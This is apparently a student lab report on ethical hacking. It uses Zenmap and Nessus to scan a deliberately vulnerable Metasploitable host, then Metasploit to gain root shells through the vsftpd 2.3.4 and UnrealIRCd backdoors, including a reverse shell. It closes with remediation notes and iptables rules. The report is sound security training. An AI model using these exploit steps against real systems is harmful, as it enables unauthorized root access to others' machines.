

## Using Ethical Hacking Techniques to Exploit a Vulnerable Workstation

### Section 1: Hands-On Demonstration Part 1: Use Zenmap to Scan a Subnet Address

#### Part 1: Use Zenmap to Scan a Subnet Address

#### 16. Make a screen capture showing the open ports and paste it into your Lab Report file.

The 977 ports scanned but not shown below are in state: **closed**

Port	State (toggle closed [0]   filtered [0])	Service	Reason	Product	Version	Extra info
21	tcp open	ftp	syn-ack	vsftpd	2.3.4	
22	tcp open	ssh	syn-ack	OpenSSH	4.7p1 Debian 8ubuntu1	protocol 2.0
23	tcp open	telnet	syn-ack	Linux telnetd		
25	tcp open	smtp	syn-ack	Postfix smtpd		
53	tcp open	domain	syn-ack	ISC BIND	9.4.2	
80	tcp open	http	syn-ack	Apache httpd	2.2.8	(Ubuntu) DAV/2
111	tcp open	rpcbind	syn-ack		2	RPC #100000
139	tcp open	netbios-ssn	syn-ack	Samba smbd	3.X - 4.X	workgroup: WORKGROUP
445	tcp open	netbios-ssn	syn-ack	Samba smbd	3.0.20-Debian	workgroup: WORKGROUP
512	tcp open	exec	syn-ack	netkit-rsh rexecd		
513	tcp open	login	syn-ack			
514	tcp open	shell	syn-ack	Netkit rshd		
1099	tcp open	java-rmi	syn-ack	Java RMI Registry		
1524	tcp open	shell	syn-ack	Metasploitable root shell		
2049	tcp open	nfs	syn-ack		2-4	RPC #100003
2121	tcp open	ftp	syn-ack	ProFTPD	1.3.1	
3306	tcp open	mysql	syn-ack	MySQL	5.0.51a-3ubuntu5	
5432	tcp open	postgresql	syn-ack	PostgreSQL DB	8.3.0 - 8.3.7	
5900	tcp open	vnc	syn-ack	VNC		protocol 3.3
6000	tcp open	X11	syn-ack			access denied
6667	tcp open	irc	syn-ack	UnrealIRCd		
8009	tcp open	ajp13	syn-ack	Apache Jserv		Protocol v1.3
8180	tcp open	http	syn-ack	Apache Tomcat/Coyote JSP engine	1.1	

#### Part 2: Conducting a Vulnerability Scan with Nessus

#### 25. Make a screen capture showing the Critical Severity vulnerabilities for the 172.30.0.55 scan and paste it into the Lab Report file.

172.30.0.55



Severity	CVSS v3.0	Plugin	Name
CRITICAL	9.8	134862	Apache Tomcat AJP Connector Request Injection (Ghostcat)
CRITICAL	9.8	51988	Bind Shell Backdoor Detection
CRITICAL	10.0	33850	Unix Operating System Unsupported Version Detection
CRITICAL	10.0	34460	Unsupported Web Server Detection
CRITICAL	10.0*	32314	Debian OpenSSH/OpenSSL Package Random Number Generator Weakness
CRITICAL	10.0*	32321	Debian OpenSSH/OpenSSL Package Random Number Generator Weakness (SSL check)
CRITICAL	10.0*	11356	NFS Exported Share Information Disclosure
CRITICAL	10.0*	61708	VNC Server 'password' Password
CRITICAL	10.0*	10203	rexecd Service Detection
HIGH	8.6	136769	ISC BIND Service Downgrade / Reflected DoS
HIGH	7.5	136808	ISC BIND Denial of Service

### Part 3: Exploit the Victim System using Metasploit

10. Make a screen capture showing the result of the whoami command and paste it into your Lab Report file.

```
msf > use exploit/unix/ftp/vsftpd_234_backdoor
msf exploit(vsftpd_234_backdoor) > set RHOST 172.30.0.55
RHOST => 172.30.0.55
msf exploit(vsftpd_234_backdoor) > exploit

[*] Banner: 220 (vsFTPd 2.3.4)
[*] USER: 331 Please specify the password.
[+] Backdoor service has been spawned, handling...
[+] UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (172.30.0.7:46478 -> 172.30.0.55:6200) at 2025-02-28 18:45:35 -0800

whoami
root
```

12. Make a screen capture showing the result of the ifconfig command and paste it into your Lab Report file.

```

ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0c:29:4d:d7:16
          inet addr:172.30.0.55  Bcast:172.30.0.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe4d:d716/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:25667 errors:0 dropped:0 overruns:0 frame:0
          TX packets:21310 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:3086678 (2.9 MB)  TX bytes:8377795 (7.9 MB)
          Base address:0x2000 Memory:fd5c0000-fd5e0000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:268 errors:0 dropped:0 overruns:0 frame:0
          TX packets:268 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:105977 (103.4 KB)  TX bytes:105977 (103.4 KB)

```

**14. Make a screen capture showing the list of iptables rules and paste it into your Lab Report file.**

```

iptables --list
Chain INPUT (policy ACCEPT)
target     prot opt source               destination

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination

```

**20. In the vulnerability profile, locate the recommended solution for the vstftpd vulnerability and document that information in your Lab Report file.**

The recommended solution is to validate and recompile a legitimate copy of the source code.

## Section 2: Applied Learning

### Part 1: Use Zenmap to Scan a Subnet Address

Hosts		Services		Nmap Output		Ports / Hosts		Topology		Host Details		Scans	
OS		Host											
		172.30.0.2											
		172.30.0.7											
		172.30.0.10											
		172.30.0.55											

## Part 2: Conducting a Vulnerability Scan with Nessus

**11. Make a screen capture showing the critical vulnerabilities identified by Nessus and paste it into the Lab Report file.**

## Vulnerabilities 73

Filter ▾

Search Vulnerabilities



73 Vulnerabilities

<input type="checkbox"/> Sev ▾	Score ▾	Name ▾	Family ▾	Count ▾		
<input type="checkbox"/> CRITICAL	10.0 *	NFS Exported Share Information Discl...	RPC	1		
<input type="checkbox"/> CRITICAL	10.0 *	rexecd Service Detection	Service detection	1		
<input type="checkbox"/> CRITICAL	10.0	Unix Operating System Unsupported ...	General	1		
<input type="checkbox"/> CRITICAL	10.0 *	VNC Server 'password' Password	Gain a shell remotely	1		
<input type="checkbox"/> CRITICAL	9.8	Bind Shell Backdoor Detection	Backdoors	1		
<input type="checkbox"/> MIXED	...	4 Apache Tomcat (Multiple Issues)	Web Servers	4		
<input type="checkbox"/> CRITICAL	...	2 SSL (Multiple Issues)	Gain a shell remotely	3		
<input type="checkbox"/> MIXED	...	3 Web Server (Multiple Issues)	Web Servers	3		
<input type="checkbox"/> HIGH	8.8	vsftpd Smiley Face Backdoor	FTP	1		

## Host Details

IP: 172.30.0.55  
 MAC: 00:0C:29:4D:D7:16  
 OS: Linux Kernel 2.6 on Ubuntu 8.04 (hardy)  
 Start: Today at 7:00 PM  
 End: Today at 7:23 PM  
 Elapsed: 23 minutes  
 KB: [Download](#)

## Vulnerabilities



● Critical  
 ● High  
 ● Medium  
 ● Low  
 ● Info

**17. Make a screen capture showing the Critical Severity vulnerabilities for the 172.30.0.55 scan and paste it into the Lab Report file.**

## 172.30.0.55



Severity	CVSS v3.0	Plugin	Name
CRITICAL	9.8	<a href="#">134862</a>	Apache Tomcat AJP Connector Request Injection (Ghostcat)
CRITICAL	9.8	<a href="#">34970</a>	Apache Tomcat Manager Common Administrative Credentials
CRITICAL	9.8	<a href="#">51988</a>	Bind Shell Backdoor Detection
CRITICAL	10.0	<a href="#">33850</a>	Unix Operating System Unsupported Version Detection
CRITICAL	10.0	<a href="#">34460</a>	Unsupported Web Server Detection
CRITICAL	10.0*	<a href="#">32314</a>	Debian OpenSSH/OpenSSL Package Random Number Generator Weakness
CRITICAL	10.0*	<a href="#">32321</a>	Debian OpenSSH/OpenSSL Package Random Number Generator Weakness (SSL check)
CRITICAL	10.0*	<a href="#">11356</a>	NFS Exported Share Information Disclosure
CRITICAL	10.0*	<a href="#">61708</a>	VNC Server 'password' Password
CRITICAL	10.0*	<a href="#">10203</a>	rexecd Service Detection
HIGH	8.8	<a href="#">55523</a>	vsftpd Smiley Face Backdoor

## Part 3: Exploit the Victim System using Metasploit

16. Make a screen capture showing the contents of the home directory and paste it into your Lab Report file.

```
cd /home
ls
eviltwinsky
ftp
msfadmin
service
user
```

19. Make a screen capture showing the list of iptables rules and paste it into your Lab Report file

```
iptables -nvL
Chain INPUT (policy ACCEPT 121K packets, 9564K bytes)
  pkts bytes target    prot opt in     out     source                   destination

Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
  pkts bytes target    prot opt in     out     source                   destination

Chain OUTPUT (policy ACCEPT 115K packets, 20M bytes)
  pkts bytes target    prot opt in     out     source                   destination

iptables --list
Chain INPUT (policy ACCEPT)
target    prot opt source                destination

Chain FORWARD (policy ACCEPT)
target    prot opt source                destination

Chain OUTPUT (policy ACCEPT)
target    prot opt source                destination
```

24. Make a screen capture showing the **\*\*Remote Hack\*\*** message and paste it into your Lab Report file.

```
iptables -I INPUT -p tcp --dport 6200 -j LOG --log-prefix '**Remote Hack**' --log-level 4
tail -f /var/log/messages
Feb 28 21:21:08 metasploitable kernel: [ 1001.936674] in.telnetd[5817]: segfault at 00000000 eip 0804c1fb esp bfa9fbc0 error 4
Feb 28 21:36:34 metasploitable kernel: [ 1936.202582] nfsd: peername failed (err 107)
Feb 28 22:00:36 metasploitable kernel: [ 3391.157460] svc: 172.30.0.10, port=1022: unknown version (1 for prog 100003, nfsd)
Feb 28 22:00:36 metasploitable kernel: [ 3391.158938] svc: 172.30.0.10, port=1022: unknown version (1 for prog 100003, nfsd)
Feb 28 22:00:36 metasploitable kernel: [ 3391.159534] svc: 172.30.0.10, port=1022: unknown version (1 for prog 100003, nfsd)
Feb 28 22:00:51 metasploitable kernel: [ 3406.822594] RPC: bad TCP reclin 0x247b6a6e (non-terminal)
Feb 28 22:01:31 metasploitable kernel: [ 3446.881594] RPC: bad TCP reclin 0x247b6a6e (non-terminal)
Feb 28 22:04:34 metasploitable kernel: [ 3631.850505] in.telnetd[7223]: segfault at 00000000 eip 0804c312 esp bfe1ff40 error 4
Feb 28 22:24:53 metasploitable -- MARK --
Feb 28 22:38:08 metasploitable kernel: [ 5664.684195] **Remote Hack**IN=eth0 OUT= MAC=00:0c:29:4d:d7:16:00:0c:29:1b:71:ce:08:00 SRC=172.30.0.7 DST=172.30.0.55 LEN=78 TOS=0x00 PR
EC=0x00 TTL=64 ID=44217 DF PROTO=TCP SPT=39374 DPT=6200 WINDOW=337 RES=0x00 ACK PSH URG=0
Feb 28 22:38:08 metasploitable kernel: [ 5664.686143] **Remote Hack**IN=eth0 OUT= MAC=00:0c:29:4d:d7:16:00:0c:29:1b:71:ce:08:00 SRC=172.30.0.7 DST=172.30.0.55 LEN=52 TOS=0x00 PR
EC=0x00 TTL=64 ID=44218 DF PROTO=TCP SPT=39374 DPT=6200 WINDOW=353 RES=0x00 ACK URG=0
Feb 28 22:38:08 metasploitable kernel: [ 5664.686248] **Remote Hack**IN=eth0 OUT= MAC=00:0c:29:4d:d7:16:00:0c:29:1b:71:ce:08:00 SRC=172.30.0.7 DST=172.30.0.55 LEN=52 TOS=0x00 PR
EC=0x00 TTL=64 ID=44219 DF PROTO=TCP SPT=39374 DPT=6200 WINDOW=369 RES=0x00 ACK URG=0
Feb 28 22:38:09 metasploitable kernel: [ 5665.705822] **Remote Hack**IN=eth0 OUT= MAC=00:0c:29:4d:d7:16:00:0c:29:1b:71:ce:08:00 SRC=172.30.0.7 DST=172.30.0.55 LEN=52 TOS=0x00 PR
EC=0x00 TTL=64 ID=44220 DF PROTO=TCP SPT=39374 DPT=6200 WINDOW=385 RES=0x00 ACK URG=0
Feb 28 22:38:10 metasploitable kernel: [ 5666.725270] **Remote Hack**IN=eth0 OUT= MAC=00:0c:29:4d:d7:16:00:0c:29:1b:71:ce:08:00 SRC=172.30.0.7 DST=172.30.0.55 LEN=52 TOS=0x00 PR
EC=0x00 TTL=64 ID=44221 DF PROTO=TCP SPT=39374 DPT=6200 WINDOW=401 RES=0x00 ACK URG=0
Feb 28 22:38:11 metasploitable kernel: [ 5667.744640] **Remote Hack**IN=eth0 OUT= MAC=00:0c:29:4d:d7:16:00:0c:29:1b:71:ce:08:00 SRC=172.30.0.7 DST=172.30.0.55 LEN=52 TOS=0x00 PR
EC=0x00 TTL=64 ID=44222 DF PROTO=TCP SPT=39374 DPT=6200 WINDOW=417 RES=0x00 ACK URG=0
Feb 28 22:38:12 metasploitable kernel: [ 5669.763903] **Remote Hack**IN=eth0 OUT= MAC=00:0c:29:4d:d7:16:00:0c:29:1b:71:ce:08:00 SRC=172.30.0.7 DST=172.30.0.55 LEN=52 TOS=0x00 PR
EC=0x00 TTL=64 ID=44223 DF PROTO=TCP SPT=39374 DPT=6200 WINDOW=433 RES=0x00 ACK URG=0
Feb 28 22:38:13 metasploitable kernel: [ 5669.783326] **Remote Hack**IN=eth0 OUT= MAC=00:0c:29:4d:d7:16:00:0c:29:1b:71:ce:08:00 SRC=172.30.0.7 DST=172.30.0.55 LEN=52 TOS=0x00 PR
EC=0x00 TTL=64 ID=44224 DF PROTO=TCP SPT=39374 DPT=6200 WINDOW=449 RES=0x00 ACK URG=0
Feb 28 22:38:14 metasploitable kernel: [ 5670.802600] **Remote Hack**IN=eth0 OUT= MAC=00:0c:29:4d:d7:16:00:0c:29:1b:71:ce:08:00 SRC=172.30.0.7 DST=172.30.0.55 LEN=52 TOS=0x00 PR
EC=0x00 TTL=64 ID=44225 DF PROTO=TCP SPT=39374 DPT=6200 WINDOW=465 RES=0x00 ACK URG=0
Feb 28 22:38:15 metasploitable kernel: [ 5671.822051] **Remote Hack**IN=eth0 OUT= MAC=00:0c:29:4d:d7:16:00:0c:29:1b:71:ce:08:00 SRC=172.30.0.7 DST=172.30.0.55 LEN=52 TOS=0x00 PR
EC=0x00 TTL=64 ID=44226 DF PROTO=TCP SPT=39374 DPT=6200 WINDOW=481 RES=0x00 ACK URG=0
Feb 28 22:38:16 metasploitable kernel: [ 5672.841051] **Remote Hack**IN=eth0 OUT= MAC=00:0c:29:4d:d7:16:00:0c:29:1b:71:ce:08:00 SRC=172.30.0.7 DST=172.30.0.55 LEN=52 TOS=0x00 PR
EC=0x00 TTL=64 ID=44227 DF PROTO=TCP SPT=39374 DPT=6200 WINDOW=497 RES=0x00 ACK URG=0
^C
Abort session 1? [y/N]
```

**29. In the vulnerability profile, locate the recommended solution for the vstftpd vulnerability and document that information in your Lab Report file.**

The recommended solution is to validate and recompile a legitimate copy of the source code.

### **Section 3: Lab Challenge and Analysis**

#### **Part 1: Analysis and Discussion**

**The vulnerability report you generated in the lab identified several vulnerabilities. Use the Internet to research recommended solutions for each of the critical vulnerabilities and document your findings in your Challenge Questions file.**

##### **1. Apache Tomcat AJP Connector Request Injection (Ghostcat)**

Nessus Plugin ID: 134862

Upgrade to Apache Tomcat 9.0.31 or later, disable AJP if not required, and restrict AJP access using firewall rules.

##### **2. Apache Tomcat Manager Common Administrative Credentials**

Nessus Plugin ID: 34970

Change default credentials, disable Tomcat Manager if unnecessary, and restrict access using an IP allowlist.

##### **3. Bind Shell Backdoor Detection**

Nessus Plugin ID: 51988

Remove unauthorized bind shells, reinstall affected services, and apply firewall rules to prevent external access.

##### **4. Unix Operating System Unsupported Version Detection**

Nessus Plugin ID: 33850

Upgrade to a supported OS version, or restrict access and enable host-based firewalls if upgrading is not possible.

##### **5. Unsupported Web Server Detection**

Nessus Plugin ID: 34460

Upgrade to a supported web server version, apply security patches, or restrict access using a firewall.

##### **6. Debian OpenSSH/OpenSSL Package Random Number Generator Weakness**

Nessus Plugin ID: 32314 & 32321

Upgrade OpenSSL and OpenSSH, then regenerate cryptographic keys after patching.

## 7. NFS Exported Share Information Disclosure

Nessus Plugin ID: 11356

Restrict NFS exports to trusted IPs, disable NFS if unnecessary, and enable authentication for access.

## 8. VNC Server 'password' Password

Nessus Plugin ID: 61708

Set a strong password, restrict VNC access to trusted IPs, and disable VNC if not required.

## 9. rexecd Service Detection

Nessus Plugin ID: 10203

Disable the rexecd service and use SSH for secure remote access instead.

## 10. vsftpd Smiley Face Backdoor

Nessus Plugin ID: 55523

Upgrade to a patched vsftpd version, disable FTP if not needed, and restrict access to port 21.

## Part 2: Tools and Commands

**In the lab, you reviewed the iptables rules. Review those rules and use the Internet to construct the iptables command that will allow SSH access on port 22 from the vWorkstation (172.30.0.2). Then, construct a second iptables command that will drop, but log, SSH access from any other connection.**

To restrict SSH access to only the vWorkstation I would use the command `iptables -A INPUT -p tcp -s 172.30.0.2 --dport 22 -j ACCEPT`, which allows SSH connections from 172.30.0.2 to port 22. My second command `iptables -A INPUT -p tcp --dport 22 -j LOG --log-prefix "SSH BLOCKED: "`, logs any unauthorized SSH attempts before executing `iptables -A INPUT -p tcp --dport 22 -j DROP`, which blocks all other SSH connections. This makes sure that only the vWorkstation is allowed to establish an SSH session.

## Part 3: Challenge Exercise

**The vulnerability report you generated in the lab identified several critical vulnerabilities. You used a vsftpd vulnerability to open a remote command shell, but there is one other vulnerability in that report that could allow a hacker to open a remote command shell. In your Challenge Questions file, identify the second vulnerability that could allow this access. Repeat the steps in Part 3 of this lab to first search Metasploit for the exploit associated with this vulnerability, and then use that exploit to open a remote shell. In the remote command shell, document your successful exploit. In your Challenge Questions file, document the recommended solution for the vulnerability.**



I found a vulnerability through the nessus scan named bind shell backdoor detection. I selected the unreal\_ircd\_3281\_backdoor metasploit module and executed it on the target's 6667 port giving me a backdoor and root shell. A recommended solution for this vulnerability is to update to a secured version of UnrealIRCd or to restrict access to port 6667.

```
msf > search bind_shell
[!] Module database cache not built yet, using slow search

msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit(unreal_ircd_3281_backdoor) > RHOST 172.30.0.55
[-] Unknown command: RHOST.
msf exploit(unreal_ircd_3281_backdoor) > set RHOST 172.30.0.55
RHOST => 172.30.0.55
```

```
msf exploit(unreal_ircd_3281_backdoor) > exploit

[*] Started reverse TCP double handler on 172.30.0.7:4444
[*] Connected to 172.30.0.55:6667...
      :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
      :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP
address instead
[*] Sending backdoor command...
whoami
ifconfig
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo eA112c9yDYHimTzg;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "eA112c9yDYHimTzg\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (172.30.0.7:4444 -> 172.30.0.55:54933) at 2025-02-28 1
9:50:35 -0800

root
eth0      Link encap:Ethernet  HWaddr 00:0c:29:4d:d7:16
          inet addr:172.30.0.55  Bcast:172.30.0.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe4d:d716/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:121957 errors:0 dropped:0 overruns:0 frame:0
          TX packets:114434 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:11755943 (11.2 MB)  TX bytes:21945532 (20.9 MB)
          Base address:0x2000 Memory:fd5c0000-fd5e0000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:528 errors:0 dropped:0 overruns:0 frame:0
          TX packets:528 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:233809 (228.3 KB)  TX bytes:233809 (228.3 KB)

whoami
root
```

```

netstat -tapnl
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Progr
am name
tcp        0      0 0.0.0.0:512             0.0.0.0:*               LISTEN      4902/xine
td
tcp        0      0 0.0.0.0:513             0.0.0.0:*               LISTEN      4902/xine
td
tcp        0      0 0.0.0.0:2049            0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:514             0.0.0.0:*               LISTEN      4902/xine
td
tcp        0      0 0.0.0.0:53890           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:8009            0.0.0.0:*               LISTEN      5009/jsvc
tcp        0      0 0.0.0.0:6697            0.0.0.0:*               LISTEN      5056/unre
alircd
tcp        0      0 0.0.0.0:3306            0.0.0.0:*               LISTEN      4626/mysq
ld
tcp        0      0 0.0.0.0:1099            0.0.0.0:*               LISTEN      5050/rmir
egistry
tcp        0      0 0.0.0.0:6667            0.0.0.0:*               LISTEN      5056/unre
alircd
tcp        0      0 0.0.0.0:139             0.0.0.0:*               LISTEN      4881/smbd
tcp        0      0 0.0.0.0:5900            0.0.0.0:*               LISTEN      5074/Xtig
htvnc
tcp        0      0 0.0.0.0:49932           0.0.0.0:*               LISTEN      4803/rpc.
mountd
tcp        0      0 0.0.0.0:50989           0.0.0.0:*               LISTEN      5050/rmir
egistry
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      4077/port
map
tcp        0      0 0.0.0.0:6000            0.0.0.0:*               LISTEN      5074/Xtig
htvnc
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      5029/apac
he2
tcp        0      0 0.0.0.0:8787            0.0.0.0:*               LISTEN      5055/ruby
tcp        0      0 0.0.0.0:8180            0.0.0.0:*               LISTEN      5009/jsvc
tcp        0      0 0.0.0.0:1524            0.0.0.0:*               LISTEN      4902/xine
td
tcp        0      0 0.0.0.0:21              0.0.0.0:*               LISTEN      4902/xine
td
tcp        0      0 172.30.0.55:53          0.0.0.0:*               LISTEN      4479/name
d
tcp        0      0 127.0.0.1:53            0.0.0.0:*               LISTEN      4479/name
d
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN      4902/xine

```